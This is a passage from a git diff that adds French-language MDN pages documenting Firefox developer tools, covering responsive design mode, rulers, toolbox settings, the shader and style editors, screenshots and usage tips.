Note: L'appareil sélectioné ainsi que l'orientation (portrait/paysage) sera sauvegardé entre deux sessions.

+
+ +

 

+ +

+ +

 

+ +

Il est possible d'afficher ou de cacher la boîte à outils indépendamment de la vue adaptative elle-même :

+ +

Quand la vue adaptative est activée, il est possible de continuer à naviguer comme vous le feriez normalement dans la zone de contenu redimensionnée.

+ +

Sélectionner un appareil

+ +

Juste au-dessus de la zone d'affichage, se trouve la ligne "Aucun appareil sélectionné". Cliquer sur cette ligne ouvrira une liste de noms d'appareils. Sélectionner un appareil, et le mode de vue adaptative configurera les propriétés suivantes correspondantes à l'appareil sélectionné :

+ +
    +
  • Taille de l'écran
    • +
  • Ratio de pixel de l'appareil (le ratio de pixels physiques de l'appareil sur les pixels indépendants de l'appareil)
    • +
  • Simulation des évènements tactiles
    • +
+ +

En plus, Firefox modifiera l'en-tête HTTP User-Agent pour s'identifier en tant que navigateur par défaut. Par exemple si l'appareil sélection est un iPhone, alors Firefox s'identifiera comme Safari. La propriété navigator.userAgent aura la même valeur.

+ +

{{EmbedYouTube("JNAyKemudv0")}}

+ +

Les appareils listés ne sont qu'une partie de tous les appareils possibles. En bas de la liste, le bouton "Modifier la liste" ouvrira un panneau avec la liste complète de tous les appareils. Ce panneau permet de définir les appareils qui apparaitront dans la liste déroulante. La liste des appareils ainsi que leurs valeurs associées proviennent de : https://github.com/mozilla/simulated-devices.

+ +

Sauvegarder des appareils personnalisés

+ +

Depuis de Firefox 54, il est possible de sauvegarder des appareils personnalisés. Chaque appareil peut avoir ses propres propriétés de :

+ +
    +
  • taille
    • +
  • devicePixelRatio (DPR)
    • +
  • user agent (UA)
    • +
  • support tactile
    • +
+ +

Il est également possible de prévisualiser les propriétés des appareils existants en survolant leur nom dans le menu des appareils.

+ +

+ +

Contrôler les appareils

+ +

Il est possible de fournir des valeurs personnalisées pour la plupart des propriétés d'un appareil.

+ +

Modifier la taille d'écran

+ +

Pour modifier la taille d'écran, il faut cliquer sur les valeurs en dessous de la zone d'affichage et les modifier :

+ +

+ +

Il est également possible de déplacer le coin en bas à droite de la zone d'affichage.

+ +

Depuis Firefox 59, il est possible d'éditer les tailles d'écran avec le clavier. Lorsque les dimensions sont sélectionnées (ou que le curseur d'écriture est dedans). Il est également possible d'utiliser les flèches haut et bas de 1px.

+ +

Pour changer les dimensions plus rapidement, il est possible d'utiliser maj pour itérer de 10pixels en 10 pixels.

+ +

Modifier le ratio pixel de l'appareil

+ +

Pour définir un ratio personnalisé, il faut cliquer sur la boite "DPR" et sélectionner la valeur voulue.

+ +

Activer/désactiver la simulation du touch

+ +

Pour ce faire, il faut cliquer sur l'icône en forme de doigt :

+ +

Lorsque la simulation est activée, les évènements de la souris sont transformés en évènements évènements touch.

+ +

Contrôler le comportement de rechargement de page

+ +

Depuis Firefox 60 le menu de sélection Actualiser quand... a été rajouté :

+ +

+ +

Cliquer dessus affiche deux options qui sont toutes deux désactivées par défaut :

+ +
    +
  • Actualiser lors de l'activation/désactivation de la simulation tactile.
    • +
  • Actualiser lors du changement d'agent utilisateur.
    • +
+ +

Avant Firefox 60, ces actualisations étaient automatiques, car certains comportements de la page n'étaient pas fonctionnels sinon. Par exemple, certaines pages vérifient la compatibilité tactile au chargement, et n'ajoute des évènements que si tel est le cas.

+ +

Cependant, si vous n'êtes pas intéressé par de telles fonctionnalités (par exemple si vous avez juste envie de vérifier la mise en page dans différentes résolutions), ces rechargements peuvent s'avérer ennuyants. Il est donc utile de pouvoir contrôler ces rechargements.

+ +

Lors d'un changement de certaines options, un message d'avertissement est affiché pour vous prévenir que les rechargements ne sont plus automatiques, et précise comment réactiver ce comportement :

+ +

+ +

Activer/désactiver l'orientation

+ +

Pour alterner entre les orientations d'écran portrait et paysage, il suffit de cliquer sur l'icône à droite de la sélection d'appareils :

+ +

+ +

Bridage réseau

+ +

Si tout le développement est fait avec une bonne bande passante, il est possible d'avoir des problèmes avec une connexion moins rapide et de ne pas s'en rendre compte. La Vue Adaptative permet de dire au navigateur d'émuler (très approximativement) les caractéristiques de différents types de réseaux.

+ +

Les caractéristiques émulées sont :

+ +
    +
  • La vitesse de téléchargement
    • +
  • La vitesse d'upload (téléversement (berk))
    • +
  • latence minimum
    • +
+ +

La table ci-dessous liste les valeurs associées à chaque type de réseau. Cependant, ne vous fiez pas à cela pour des mesures de performances exactes. Le but n'est d'avoir qu'une idée approximative de l’expérience utilisateur dans différentes conditions.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SélectionVitesse de téléchargementVitesse d'uploadLatence minimum (ms)
GPRS50 KB/s20 KB/s500
Regular 2G250 KB/s50 KB/s300
Good 2G450 KB/s150 KB/s150
Regular 3G750 KB/s250 KB/s100
Good 3G1.5 MB/s750 KB/s40
Regular 4G/LTE4 MB/s3 MB/s20
DSL2 MB/s1 MB/s5
Wi-Fi30 MB/s15 MB/s2
+ +

Pour sélectionner un réseau il faut cliquer sur la liste déroulante qui par défaut vaut "Aucune limitation" :

+ +

Prendre une capture d'écran

+ +

Pour prendre une capture d'écran, il suffit de cliquer sur l'icône en forme d'appareil photo :

+ +

Les captures d'écran sont enregistrées à l'emplacement de téléchargement par défaut de Firefox.

+ +

Depuis Firefox 53, si la case "Enregistrer dans le presse-papier" est cochée dans la page des paramètres alors, la capture d'écran sera aussi enregistrée dans le presse-papier du système d'exploitation.

diff --git a/files/fr/tools/rulers/index.html b/files/fr/tools/rulers/index.html new file mode 100644 index 0000000000..fc08120e48 --- /dev/null +++ b/files/fr/tools/rulers/index.html @@ -0,0 +1,27 @@ +--- +title: Règles +slug: Outils/Rulers +translation_of: Tools/Rulers +--- +
{{ToolsSidebar}}
+ +

Il est possible de superposer des règles verticales et horizontales dans une page web :

+ +

Les unités sont en pixels.

+ +

Les dimensions de la fenêtre sont affichées en haut en droite de celle-ci.

+ +

Pour pouvoir utiliser cet outil, il est nécessaire d'activer son bouton dédié en cochant la case "Afficher/Masquer les règles pour la page" dans la catégorie "Boutons de la boîte à outils" des options des outils de développement.

+ +

+ +

Une fois activé le bouton "Afficher/Masquer les règles pour la page" apparait en haut à droite de la barre d'outils à coté du bouton des options.

+ +

+ +

Comportements à garder à l'esprit lors de l'utilisation des règles :

+ +
    +
  • Les commandes rulers doivent être réappliquées pour chaque nouvel onglet et pour chaque rafraichissement.
    • +
  • La commande n'est pas permanente.
    • +
diff --git a/files/fr/tools/settings/index.html b/files/fr/tools/settings/index.html new file mode 100644 index 0000000000..485f527522 --- /dev/null +++ b/files/fr/tools/settings/index.html @@ -0,0 +1,168 @@ +--- +title: Options +slug: Outils/Settings +translation_of: Tools/Settings +--- +
{{ToolsSidebar}}
+ +

Ouvrir les options

+ +

À partir de Firefox 62, l'icône pour afficher les options des outils de développement a été déplacé dans un menu accessible en cliquant sur les "..." tout à droite de la fenêtre :

+ +

+ +

Ce menu inclut les options d'emplacement des outils. Il est possible de les afficher en bas, à droite, à gauche, ou bien dans une fenêtre séparée.

+ +

Le menu inclut également l'option "Afficher la console scindée" qui permet d'ajouter la Console Web en bas de n'importe quel autre outil. Cela permet d'afficher une ou deux lignes de messages, et surtout de rendre disponible la ligne de commande.

+ +

+ +

La dernière option, l'option "paramètres" affiche les autres options des outils de développement. Cela ressemble à ceci :

+ +

Depicts the Toolbox options

+ +

Catégories

+ +

Outils de développement par défaut

+ +

Ce groupe de cases à cocher détermine quels outils sont activés dans la boit à outils. Les nouveaux outils sont souvent inclus dans Firefox, mais ne sont pas activés par défaut.

+ +

Boutons de la boite à outils

+ +

Ce groupe de cases à cocher détermine quels outils possèdent une icône dans la barre d'outils.

+ +

Depuis Firefox 62, si l'option "Sélectionner un iframe en tant que document cible" est activée, l'icône apparaitra dans la barre d'outils, et ce même si la page ne contient aucun iframe.

+ +

Il est à noter que depuis Firefox 52 l'option "Sélectionner un élément" a été supprimée. Le bouton "Sélectionner un élément" est maintenant toujours présent.

+ +

Thèmes

+ +

Cette option permet de choisir un des deux thèmes :

+ + + +

Préférences générales

+ +

Ce sont les options qui s'appliquent à plusieurs outils. Il n'y a qu'une seule option :

+ +
+
Activer les journaux persistants
+
Elle sert à contrôler si les outils Console et Réseau vident leur contenu lors d'un changement de page.
+
+ +
+

Si les préférences générales ne sont pas incluses dans les options, les journaux persistants peuvent être activés en utilisant l'url 'about:config' du navigateur et passer la clé 'devtools.webconsole.persistlog' à true

+
+ +

Inspecteur

+ +
+
Afficher les styles du navigateur
+
Contrôle les styles appliqués par le navigateur (user-agent styles) doivent être affichées dans la vue des Règles. Il est à noter que cette option est indépendante de l'option "Styles navigateur" dans la vue "Calculé".
+
Tronquer les attributs DOM
+
Par défaut, l'Inspecteur tronque les attributs DOM de plus de 120 caractères. Décocher cette case empêche ce comportement. Cette option fonctionne en activant/désactivant la préférence "devtools.markup.collapseAttributes dans la page about:config. Pour changer la limite de caractères, il est possible d'éditer la préférence "devtools.markup.collapseAttributeLength", toujours dans la page about:config.
+
Unité par défaut pour les couleurs
+
Cette option permet de contrôler l'unité des couleurs représentées dans l'Inspecteur. Les différentes valeurs sont : +
    +
  • Hex
    • +
  • HSL(A)
    • +
  • RGB(A)
    • +
  • noms de couleur
    • +
  • unité d'origine
    • +
+
+
+ +

Console web

+ +
+
Activer l'horodatage
+
Contrôle si la Console affiche les timestamp. Par défaut cette option n'est pas activée.
+
Enable new console frontend (l'option n'est pas traduite dans les outils de développement)
+
Active la nouvelle Console expérimentale. Cette option n'est disponible que dans Firefox Nightly
+
+ +

Débogueur

+ +
+
Afficher les sources originales
+
Activer le support des source map dans le Débogueur.
+
Enable new debugger frontend (l'option n'est pas traduite dans les outils de développement)
+
Active le nouveau Débogueur. Enable the new debugger. Cette option n'est disponible que dans Firefox Nightly
+
+ +

Éditeur de style

+ +
+
Afficher les sources originales
+
Lorsqu'un préprocesseur supportant les sources maps est utilisé, cette option permet à l'Éditeur de style d'afficher les sources originales du préprocesseur plutôt que le CSS généré. Vous pouvez en apprendre plus sur le support des sources maps CSS ici.. Lorsque cette option est activée la vue des règles de l'Inspecteur affichera également un lien vers les sources originales.
+
Compléter automatiquement le CSS
+
Autorise l'Éditeur de style à offrir des suggestions d'autocomplétion.
+
+

Comportement pour les captures d'écran

+
+
Enregistrer dans le presse-papiers
+
Copie l'image dans le presse papier lors d'un clic sur l'outil Capture d'écran (l'image sera également enregistrée dans le dossier Téléchargement). Nouveau dans Firefox 53.
+
Jouer un son d'obturateur d'appareil photo
+
Lors d'un clic sur l'outil Capture d'écran, un son sera joué. Nouveau dans Firefox 53.
+
+ +

Préférences de l'éditeur

+ +

Préférences de l'éditeur de code source CodeMirror, qui est inclut dans Firefox et utilisé dans plusieurs outils de développement (incluant l'Ardoise JavaScript et l'Éditeur de style.

+ +
+
Détecter l'indentation
+
indenter automatiquement les nouvelles lignes en se basant sur l'indentation actuelle..
+
Fermer automatiquement les parenthèses et les accolades
+
Détermine si rentrer un caractère ouvrant comme [ ou { causera l'éditeur à insérer automatiquement un caractère fermant comme ] ou }.
+
Indenter à l'aide d'espaces
+
Si coché, l'indentation sera faite en utilisant des espaces, si désactivé, l'indentation sera faite en utilisant des tabulations.
+
Taille des tabulations
+
La taille des tabulations dans l'éditeur. Les options possibles sont 2, 4, ou 8.
+
Raccourcis clavier
+
Permet de choisir les raccourcis clavier par défaut de CodeMirror, il y a le choix entre : +
    +
  • Vim
    • +
  • Emacs
    • +
  • Sublime Text
    • +
+
+
+ +

Paramètres avancés

+ +
+
Afficher les données de la plate-forme Gecko
+
Cette option sert à contrôler si les profils doivent inclure des symboles de la plateforme Gecko ou non.
+
+ +
+
Désactiver le cache HTTP
+
Désactive le cache HTTP pour simuler les performances du premier chargement. Cela s'applique à tout les onglets qui ont la boite à outils ouverte. Cette option est persistante, cela veut dire que si elle est activée, la mise en cache sera désactivée à chaque réouverture des outils de développement. La mise en cache est automatiquement réactivée lorsque les outils de développement sont fermés. Il est à noter que les service workers ne sont pas affectés par cette option. +
Note : Cette option était appelée "Désactiver le cache" dans les versions antérieures à Firefox 49. Elle a été renommée afin de rendre plus explicite le fait que cette option n'affecte que le cache HTTP et pas les Service Workers ou le Cache API.
+
+
Désactiver le JavaScript
+
Recharge la page actuelle avec le JavaScript désactivé.
+
Activer les Service Workers via HTTP
+
Autorise les enregistrements de Service Worker depuis des sites web non sécurisés.
+
Activer le débogage du chrome du navigateur et des modules
+
Permet d'utiliser les outils de développement dans le contexte du navigateur lui-même au lieu du contenu web uniquement.
+
Activer le débogage distant
+
Autorise le débogage des instances de Firefox distantes.
+
Activer le débogage des workers
+
Active un panneau dans le Débogueur pour déboguer les workers. +

Note: Cette option a été supprimée de l'interface utilisateur dans Firefox 56, car cette version contient une nouvelle interface utilisateur du Débogueur, l'option peut toujours être activée pour l'ancienne interface en passant la préférence devtools.debugger.workers à true dans (about:config).

+
+
diff --git a/files/fr/tools/shader_editor/index.html b/files/fr/tools/shader_editor/index.html new file mode 100644 index 0000000000..013fd7da49 --- /dev/null +++ b/files/fr/tools/shader_editor/index.html @@ -0,0 +1,63 @@ +--- +title: Éditeur de Shaders +slug: Outils/Editeur_de_shaders +tags: + - Tools + - Web Development +translation_of: Tools/Shader_Editor +--- +
{{ToolsSidebar}}
+ +
+

Notice: Cet outil a été déprécié et sera bientôt supprimé de Firefox. Pour plus de détails voir : Outils Dépréciés.

+
+ +

L'Éditeur de Shaders permet de voir et d'éditer les vertex shaders et les fragments shaders utilisés par WebGL

+ +

{{EmbedYouTube("hnoKqFuJhu0")}}

+ +

WebGL est une API JavaScript qui sert à afficher des graphismes 3D et 2D interactifs dans le navigateur sans plugin. Avec WebGL deux programmes appelés "Shaders" sont générés, ceux-ci sont appelé dans le niveau approprié du  processus d’affichage d'OpenGL Le premier shader est un vertex shader, qui fournit les coordonnés de chaque vertex qui doit être affiché. Le deuxième est un fragment shader qui fournit la couleur de chaque pixel qui doit être affiché.
+
+ Ces shaders sont codés dans le langage OpenGL Shading, ou GLSL. En WebGL, ces shaders peuvent être intégrés dans une page de différentes manières : sous forme de texte directement codés dans le code source JavaScript, sous forme de fichier séparé intégré avec les balises {{HTMLElement("script")}}, ou récupérés depuis le serveur sous forme de texte. Le code JavaScript en cours d’exécution dans la page envoie alors les shaders à la compilation en utilisant les APIs WebGL, et ils sont ensuite exécutés sur le GPU (unité de processeur graphique) de l'appareil.

+ +

Avec l'Éditeur de Shaders il est possible d’examiner et d'éditer la sources de vertex shaders et de fragment shaders.

+ +

Voici une autre vidéo montrant comment utiliser l'Éditeur de Shader pour des applications complexes (dans ce cas, la démo l'Unreal Engine) :

+ +

{{EmbedYouTube("YBErisxQkPQ")}}

+ +

Ouvrir l'Éditeur de Shaders

+ +

L'Éditeur de Shaders est désactivé par défaut. Pour l'activer, il faut ouvrir les paramètres de la Boite à Outils et cocher "Éditeur de shaders" dans la section "Outils de développement par défaut". L'Éditeur de Shaders apparaitra alors dans la barre d'outils de la Boite à Outils. Cliquez dessus pour ouvrir l'Éditeur de Shaders.

+ +


+ Au début il y a qu'une fenêtre vide avec un bouton demandant de recharger la page :

+ +

+ +

Pour commencer, il faut charger une page qui crée un contexte WebGL et charge un programme dedans. Les captures d'écran ci-dessous sont tirées de la démo de l'Unreal Engine.

+ +

Une fenêtre apparait alors divisée en trois panneaux : une liste de tous les programmes GLSL sur la gauche, le vertex shader en cours du programme sélectionné au milieu et le fragment shader en cours du programme sélectionné sur la droite :

+ +

+ +

Gérer les programmes

+ +

Le panneau de gauche liste tous les programmes utilisés par le contexte WebGL. En survolant un élément dans la liste, la figure géométrique affichée par le programme est coloré en rouge vif :

+ +

Cliquer sur l’icône en forme d'œil sur la gauche d'un programme désactivera ce programme. Ceci est pratique pour se concentrer sur certains shaders ou pour cacher des éléments qui se superposent :

+ +

+ +

Si vous cliquez sur un programme, ses vertex et fragment shaders sont affichés dans les deux autres panneaux et vous pouvez les modifier.

+ +

Modifier des shaders

+ +

Cliquer sur un programme affichera son vertex shader (panneau du milieu) et son fragment shader (panneau de droite), il sera alors possible de les modifier.
+ Les changements réalisés seront visibles lors du ré-affichage du contexte WebGL (par exemple lors de la prochaine frame). Il est par exemple possible de modifier des couleurs :

+ +

L'éditeur met en surbrillance les erreurs dans le code :

+ +

Survoler la croix affiché à coté d'une ligne contenant une erreur montrera plus de détails sur le problème :

+ +

diff --git a/files/fr/tools/style_editor/index.html b/files/fr/tools/style_editor/index.html new file mode 100644 index 0000000000..dfbd8fb61f --- /dev/null +++ b/files/fr/tools/style_editor/index.html @@ -0,0 +1,113 @@ +--- +title: Éditeur de Style +slug: Outils/Éditeur_de_style +tags: + - CSS + - Stylesheets + - Tools + - Web Development + - 'Web Development:Tools' +translation_of: Tools/Style_Editor +--- +
{{ToolsSidebar}}
+ +

L'Éditeur de Style permet de :

+ +
    +
  • Voir et éditer les feuilles de style associées à une page.
    • +
  • Créer de nouvelles feuilles de style de zéro et les appliquer à la page.
    • +
  • Importer des feuilles de styles existantes et les appliquer à la page.
    • +
+ +

{{EmbedYouTube("7839qc55r7o")}}

+ +

Pour ouvrir l'Éditeur de Style, choisissez l'option "Éditeur de Style" du menu "Développement Web" (qui lui-même est un sous-menu du menu "Outils"). La Boite à outils apparaitra alors en bas de la fenêtre du navigateur, avec l'Éditeur de Style activé :

+ +

+ +

L'Éditeur de Style est divisé en trois grandes parties :

+ + + +

Le panneau des feuilles de style

+ +

Le panneau des feuilles de style sur la gauche, liste toutes les feuilles de style utilisées par le document actuel. Vous pouvez Activer/Désactiver rapidement l'affichage d'une feuille en cliquant sur l’icône en forme d'œil à gauche de son nom. Vous pouvez sauvegarder toutes les modifications de la feuille de style sur votre ordinateur en cliquant sur le bouton "Enregistrer" situé en bas à droite de chaque feuille dans la liste.

+ +

Depuis Firefox 40, le panneau des feuilles de styles inclut également un menu contextuel qui permet d'ouvrir la feuille de style sélectionnée dans un nouvel onglet.

+ +

Le panneau d'édition

+ +

Le panneau d'édition est au centre. C'est là que le code source de la feuille de style sélectionnée peut être lu et édité. Toutes les modifications sont automatiquement appliquées à la page. Ceci rend facile l'expérimentation, les corrections et les tests. Quand vous êtes satisfait(e) de vos modifications, vous pouvez sauvegarder une copie locale en cliquant sur le bouton sauvegarder de la feuille dans le panneau des feuilles de style.

+ +

L'éditeur affiche les numéros de ligne et la coloration syntaxique pour vous aider et rendre la lecture de vos CSS plus facile. Il supporte aussi une partie des raccourcis clavier.

+ +

L'Éditeur de Style dé-minimifie automatiquement les feuilles de style qu'il détecte, sans altérer le fichier original. Ce qui rend le travail sur des pages optimisées beaucoup plus facile.

+ +

L'Éditeur de Style supporte l’autocomplétion. Commencez simplement à taper et il vous affichera une liste de suggestions :

+ +

Vous pouvez désactiver cette fonctionnalité dans les Paramètres de l'Éditeur de Style.

+ +

Le volet média

+ +

L'éditeur de Style affiche un volet sur la partie droite dès que la feuille de style sélectionnée contient des règles @media. Le volet liste les règles et fournit un lien vers la ligne de la feuille de style définissant la règle. Cliquez sur une des entrées pour basculer sur la règle. La règle est affichée grisée, si la média query n'est pas actuellement appliquée.

+ +

+ +

Le volet média est très utile quand associé à la Vue adaptative pour créer et déboguer des mises en pages responsive :

+ +

{{EmbedYouTube("aVUXmvLSwoM")}}

+ +

Depuis Firefox 46, si une règle @media contient une taille d'écran dans une condition, alors il est possible de cliquer dessus. Cela redimensionne l'écran à la taille en question en utilisant la Vue Adaptative :

+ +

{{EmbedYouTube("XeocxoW2NYY")}}

+ +

Créer et importer des feuilles de style.

+ +

Vous pouvez créer une nouvelle feuille de style en cliquant sur le bouton "Nouveau" dans la barre d'outils. Puis vous pouvez commencer à écrire du CSS dans le nouvel éditeur et observer comment les nouveaux styles s'appliquent en temps réel de la même manière que les modifications sur les autres feuilles.

+ +

Vous pouvez charger une feuille de style depuis votre ordinateur et l’appliquer à la page en cliquant sur le bouton "Importer"

+ +

Support de "Source map"

+ +

{{EmbedYouTube("zu2eZbYtEUQ")}}

+ +

Les développeurs web créent souvent des fichiers CSS en utilisant un préprocesseur comme Sass, Less, ou Stylus. Ces outils génèrent des fichiers CSS depuis une syntaxe plus riche et plus déclarative. Ainsi, être capable de modifier le CSS généré n'est pas très utile, car le code maintenu est le code écrit dans la syntaxe du préprocesseur, pas le CSS généré. Il faudrait alors éditer le CSS généré puis se débrouiller pour réappliquer manuellement les changements au code source d'origine.

+ +

Les "Source maps" permettent aux outils de remonter depuis le CSS généré jusqu’à la syntaxe d'origine, pour pouvoir afficher et donner la possibilité d'éditer les fichiers dans la syntaxe d'origine. Depuis Firefox 29, l'Éditeur de style peut comprendre les "CSS source maps".

+ +

Cela veut dire que si vous utilisez par exemple Sass, l'éditeur affichera et permettra d'éditer les fichiers Sass plutôt que le CSS généré grâce à eux.

+ +

Pour que cela fonctionne, il est nécessaire de :

+ +
    +
  • Utiliser un préprocesseur de CSS qui respecte la proposition de "Source Map" Revision 3. Aujourd’hui cela signifie utiliser la version 3.3.0 de Sass, ou la version 1.5.0 de Less. D'autres préprocesseurs sont actuellement en train de travailler pour devenir compatible ou considèrent le faire.
    • +
  • Ordonner au préprocesseur de générer une "source map" par exemple passer le paramètre  --sourcemap à l’outil de ligne de commande Sass.
    • +
+ +

Voir les sources d'origine

+ +

Si vous activez "Montrer les sources d'origine" dans les options de l'Éditeur de Style, les liens dans volet des règles CSS de l'outil Inspecteur Web pointeront sur le fichier d'origine, dans l'Éditeur de style.

+ +

Depuis Firefox 35, les sources originales sont affichées par défaut.

+ +

Éditer les sources d'origine

+ +

Il est également possible d'éditer les sources d'origine dans l'Éditeur de style et voir les résultats appliqués à la page immédiatement. Pour que cela fonctionne, il y a deux étapes supplémentaires.

+ +

Premièrement, configurer le préprocesseur pour qu'il surveille les sources d'origine et régénère automatiquement le CSS. Quand les sources changent. Avec Sass c'est possible simplement en passant le paramètre --watch :

+ +
sass index.scss:index.css --sourcemap --watch
+ +

Deuxièmement, il faut sauvegarder les sources d'origine dans l'Éditeur de Style. en cliquant sur le bouton "Enregistrer" à côté du fichier CSS.

+ +

Il est alors possible de faire des modifications du fichier source dans l'Éditeur de Style, le CSS est régénéré automatiquement et les changements sont visibles immédiatement.

+ +

Raccourcis clavier

+ +

Éditeur de source

+ +

{{ Page ("fr/docs/tools/Keyboard_shortcuts", "source-editor") }}

diff --git a/files/fr/tools/taking_screenshots/index.html b/files/fr/tools/taking_screenshots/index.html new file mode 100644 index 0000000000..5e1fda8c8f --- /dev/null +++ b/files/fr/tools/taking_screenshots/index.html @@ -0,0 +1,48 @@ +--- +title: Taking screenshots +slug: Outils/Taking_screenshots +tags: + - Outils +translation_of: Tools/Taking_screenshots +--- +
{{ToolsSidebar}}
+ +

Il est possible d'utiliser les outils de développement pour prendre une capture d'écran de la page entière, ou d'un unique élément de la page.

+ +

Prendre une capture d'écran de la page

+ +

Utilisez le bouton de capture d'écran: pour prendre une capture d'écran en pleine page de la page actuelle.

+ +

Par défaut, le bouton de capture d'écran n'est pas activé. Pour l'activer :

+ +
    +
  • Visitez la page Paramètres
    • +
  • Touvez la section nommée « Boutons de la boîte à outils »
    • +
  • Cochez la case « Prendre une capture d'écran de la page entière ».
    • +
+ +

Vous verrez dorénavant le bouton dans la barre d'outils :

+ +

{{EmbedYouTube("KB5V9uJgcS4")}}

+ +

Cliquez sur le bouton pour faire une capture d'écran de la page en cours. La capture est enregistrée dans le dossier « Téléchargements » de votre navigateur.

+ +

{{EmbedYouTube("HKS6MofdXVE")}}

+ +

Prendre la capture d'écran d'un élément

+ +

Pour prendre une capture d'écran d'un seul élément dans la page, activez le menu contextuel de cet élément dans le panneau HTLM, et sélectionnez « Prendre une capture du nœud ». La capture d'écran est enregistrée dans le dossier « Téléchargements » du navigateur :

+ +

{{EmbedYouTube("p2pjF_BrE1o")}}

+ +

Copier des captures d'écran dans le presse-papier

+ +

Dans Firefox 53, il est possible de copier la  capture d'écran dans le presse-papier. Pensez à cocher la case « Enregistrer dans le presse-papiers » :

+ +

{{EmbedYouTube("AZedFGh6F78")}}

+ +

Maintenant, dès que vous effectuerez une capture d'écran, celle-ci sera automatiquement copiée dans le presse-papier.

+ +

Options additionnelles

+ +

Depuis Firefox 62, il est possible de préciser un ratio-pixel, de mettre un délai avant la capture, ou de spécifier le nom du fichier. Pour cela, il faut utiliser la fonction d'aide :screenshot dans la Console Web.

diff --git a/files/fr/tools/tips/index.html b/files/fr/tools/tips/index.html new file mode 100644 index 0000000000..45a45cf7c1 --- /dev/null +++ b/files/fr/tools/tips/index.html @@ -0,0 +1,129 @@ +--- +title: Astuces +slug: Outils/Tips +tags: + - Dev Tools + - Développement Web + - Outils + - outils de développement +translation_of: Tools/Tips +--- +
{{ToolsSidebar}}
+ +

Géneral

+ +

Capture d'écran:

+ + + +

Paramètres:

+ + + +

Inspecteur de page

+ +

Dans l'onglet Inspecteur:

+ +
    +
  • Pressez H quand un noeud est sélectionné pour le cacher/l'afficher.
    • +
  • Pressez Retour ou Suppr quand un noeud est sélectionné pour le supprimer.
    • +
  • Alt + clic sur un noeud pour le développer/réduire lui-même ainsi que l'ensemble de ses noeuds enfants.
    • +
  • Cliquez sur le dernier élément du fil d’Ariane pour faire défiler la sélection dans l'inspecteur de page.
    • +
  • Cliquez sur l’icône "ev" à côté du noeud pour voir tous les évènements qui écoutent sur ce noeud.
    • +
  • Pressez S avec un noeud sélectionné pour le voir dans la page (idem qu'un clic-droit sur un noeud puis "Faire défiler la vue jusqu'au noeud").
    • +
  • Cliquez-droit sur un noeud et cliquez sur "Utiliser dans la console" pour utiliser la ligne de commande avec ce noeud en tant que variable tempN.
    • +
+ +

Lors de la sélection des éléments:

+ +
    +
  • Maj + clic pour sélectionner un élément en conservant la sélection (Le mode sélection ne se désengage pas).
    • +
  • Utilisez ←/→ pour naviguer sur l’élément parent/enfant (si ils sont trop durs à sélectionner).
    • +
+ +

Dans la vue des règles CSS:

+ +
    +
  • Cliquez sur l’Icône d'inspection () à côté de n'importe quel sélecteur pour surligner tous les éléments qui correspondent.
    • +
  • Cliquez sur l'icône d'inspection () à côté de la règle de l'element{} pour bloquer le surlignage sur l'élément courant.
    • +
  • Cliquez droit sur n'importe quelle propriété et sélectionnez "Afficher la documentation MDN" pour voir la documentation MDN pour cette propriété.
    • +
  • Cliquez sur l'icône de filtre () à côté d'une propriété surchargée pour trouver quelle autre propriété la surcharge.
    • +
  • Cliquez-droit sur un nom, une valeur, une règle pour copier n'importe quel nom, valeur, déclaration ou la règle complète dans le presse-papier.
    • +
+ +

Console web

+ +

Dans tous les onglets:

+ +
    +
  • Esc ouvre la console scindée utile lors du debug, ou l'inspection des noeuds.
    • +
+ +

Dans la ligne de commande:

+ +
    +
  • $0 fait référence au noeud actuellement selectionné.
    • +
  • $() est un raccourci pour {{domxref("document.querySelector()")}}.
    • +
  • $$() retourne sous forme d'un tableau les résultats de {{domxref("document.querySelectorAll()")}}.
    • +
  • copy copie tout comme une chaîne.
    • +
  • Cliquez-droit sur un noeud de l'Inspecteur puis cliquez sur "Utiliser dans la Console" pour créer une variable tempN de ce noeud.
    • +
  • cd bascule le contexte d'évaluation JavaScript dans un iframe différent dans la page.
    • +
  • console.table() affiche des données tabulaires dans un tableau.
    • +
  • help ouvre la page MDN de description des commandes disponibles.
    • +
  • :screenshot <filename.png> --fullpage enregistre une capture d'écran dans le dossier "Téléchargements" en utilisant avec le nom du fichier s'il est renseigné en option. Sans nom spécifique le nom sera de ce format-ci: [Date de la Capture] at [heure de la capture].png
    +
    + Le paramètre --fullpage est optionnel, s'il est inclus, la capture couvrira la page entière, pas juste la partie visible dans la fenêtre de navigation. Le nom du fichier aura également le sufixe "-fullpage". Voir Fonctions d'aides de la Console pour une liste de tous les paramètres.
    • +
+ +

Dans la sortie de la console:

+ + + +

Débogueur

+ +
    +
  • Éviter les bibliothèques JavaScript durant la session de débogage via l'icône de boite noire (Icon for black boxing a JavaScript source).
    • +
  • Pressez Ctrl+Alt+F pour rechercher dans tous les scripts.
    • +
  • Pressez Ctrl+D pour rechercher la définition d'une fonction.
    • +
  • Pressez Ctrl+L pour aller à une ligne spécifique.
    • +
+ +

Éditeur de feuilles de style CSS

+ +
    +
  • L'icône de boite noire (Icon for black boxing a JavaScript source) du panneau des feuilles de style permet d'afficher ou de cacher une feuille de style.
    • +
  • Cliquez sur une règle @media  pour l'appliquer dans la Vue adaptative.
    • +
  • Cliquez sur le bouton d'import (Button to import a style sheet from the file system) pour importer une feuille de style ou le bouton de création (Button to create a new style sheet) pour en créer une nouvelle.
    • +
  • Cliquez sur le bouton d'option du panneau des feuilles de style et cliquez sur "Afficher les sources originales" pour basculer vers l'affichage des fichiers du pré-processeur CSS.
    • +
+ +

Réseau

+ + + +

Stockage

+ +
    +
  • Cliquez-droit sur l'en-tête de la colonne pour ouvrir un menu permettant de changer l'affichage de la colonne.
    • +
  • Cliquez-droit sur une entrée et cliquez sur "Supprimer nom" pour la supprimer ou "Tout supprimer" pour supprimer toute les entrées.
    • +
  • Sélectionnez une entrée pour voir sa valeur dans la barre latérale.
    • +
diff --git a/files/fr/tools/tools_toolbox/index.html b/files/fr/tools/tools_toolbox/index.html new file mode 100644 index 0000000000..5b5987fc71 --- /dev/null +++ b/files/fr/tools/tools_toolbox/index.html @@ -0,0 +1,102 @@ +--- +title: Boite à Outils +slug: Outils/Outils_boite_à_outils +tags: + - Toolbox + - Tools +translation_of: Tools/Tools_Toolbox +--- +
{{ToolsSidebar}}
+ +

La boîte à outils réunit la plupart des outils de développement intégrés à Firefox dans un seul endroit.

+ +

Vous pouvez l'ouvrir de plusieurs façons :

+ +
    +
  • Sélectionner "Outils de développement" dans le menu "Développement" (dans "Outils" pour OS X et Linux, ou dans "Firefox" sous Windows),
    • +
